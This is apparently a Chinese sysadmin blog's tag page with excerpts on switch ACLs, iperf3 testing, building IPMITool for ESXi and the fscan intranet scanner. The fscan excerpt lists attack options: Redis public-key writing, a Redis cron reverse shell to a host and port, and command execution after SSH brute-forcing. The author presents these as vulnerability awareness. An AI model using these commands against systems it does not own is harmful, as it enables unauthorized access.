标签运维下的文章 - 吕金鉴的主页

系统安装、交换机入门配置培训文档

前几年培训员工时制作的运维入门教程，相关信息已脱敏处理，分享给需要的行业新人参考。系统安装培训文档-2022.7-2.pdf交换机入门培训文档-2022.8-2.pdf

技术 · 2024-03-20

H3C 交换机 ACL 配置（禁用 80、8080、443 等端口）

在创建 ACL 时必须为其指定编号，不同的编号对应不同类型的 ACL，比如：基本 ACL 2000～2999 高级 ACL 3000～3999 二层 ACL 4000～4999这里禁用 80 等 TCP 端口需要使用高级 ACL。首先进入系统视图：system-view创建 IPv4 高级 ACL，并进入 IPv4 高级 ACL 视图：## 交换机支持的命令选项有 acl number acl-number [name acl-name] [ match-order { auto | config } ] ## 本次实际情况是 acl number 3001创建规则：## 交换机支持的命令选项有 rule [ rule-id ] { deny | permit } protocol [ { { ack ack-value | fin fin-value | psh psh-value | rst rst-value | syn syn-value | urg urg-value } * | established } | counting | destination

技术 · 2024-02-21

Linux 下网络带宽、抖动、丢包测试（iperf3）

对于公网带宽测试，我们通常使用 speedtest，而对于局域网环境或者公网点对点情况下的带宽、抖动、丢包测试一般使用 iperf3。注意 iperf3 与 iperf2 是不兼容的，两者不可混搭测试。对于 Red Hat 系：yum -y install iperf3对于 Debian 系：sudo apt install iperf3 iperf3 作为服务端时默认情况下会使用 5201 端口，如果测试环境存在防火墙或者安全组，记得放行此端口。快速使用：iperf3 -s // 作为服务端运行，默认使用 5201 端口 iperf3 -s -p 2023 // 作为服务端运行，指定使用 2023 端口 iperf3 -c <S_IP> // 作为客户端运行并对目标服务端进行打流测试 iperf3 -c <S_IP> -p 2023 -i 1 -t 20 -R //-i 指定报告间隔 //-t 指定传输时间（默认 10s） //-R 以反向模式运行（服务器发送，客户端接收） //-P 并行客户端流的数量 iperf3 -c <S_IP> -p

技术 · 2023-04-30

VMware ESXi 8.0 使用 IPMITool 工具

IPMITool 是一个用于控制服务器 IPMI 系统的开源工具，由于 ESXi 8.0 无法安装社区打包的 VIB 版本，所以需要手动编译二进制文件，再上传到 ESXi 使用。使用 Ubuntu 18.04 编译：apt install gcc-multilib libc6-i386 libc6-dev-i386 wget wget https://github.com/ipmitool/ipmitool/archive/refs/tags/IPMITOOL_1_8_19.zip unzip IPMITOOL_1_8_19.zip cd ipmitool-IPMITOOL_1_8_19 ./configure CFLAGS=-m64 LDFLAGS=-static make 上传到 ESXi 8.0 后还需要手动允许第三方二进制文件才可以运行：esxcli system settings advanced set -o /User/execInstalledOnly -i 0 # 关闭安全策略 esxcli system settings advanced set -o /U

技术 · 2023-03-15

一款内网综合扫描工具（fscan）

机房网络中经常有客户会因为软件更新不及时导致存在安全漏洞而被有关部门警告，提前做好安全感知防患于未然。fscan 是一款内网综合扫描工具，方便一键自动化、全方位漏扫扫描。简单用法：fscan.exe -h 192.168.1.1/24 (默认使用全部模块) fscan.exe -h 192.168.1.1/16 (B 段扫描) 其他用法：fscan.exe -h 192.168.1.1/24 -np -no -nopoc (跳过存活检测、不保存文件、跳过 web poc 扫描) fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥) fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹 shell) fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后，命令执行) fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块 ssh 和端口) fscan.exe -h 192.

技术 · 2023-01-29

Theme Jasmine. 由 Cloudflare 提供 CDN 加速萌 ICP 备 20232321 号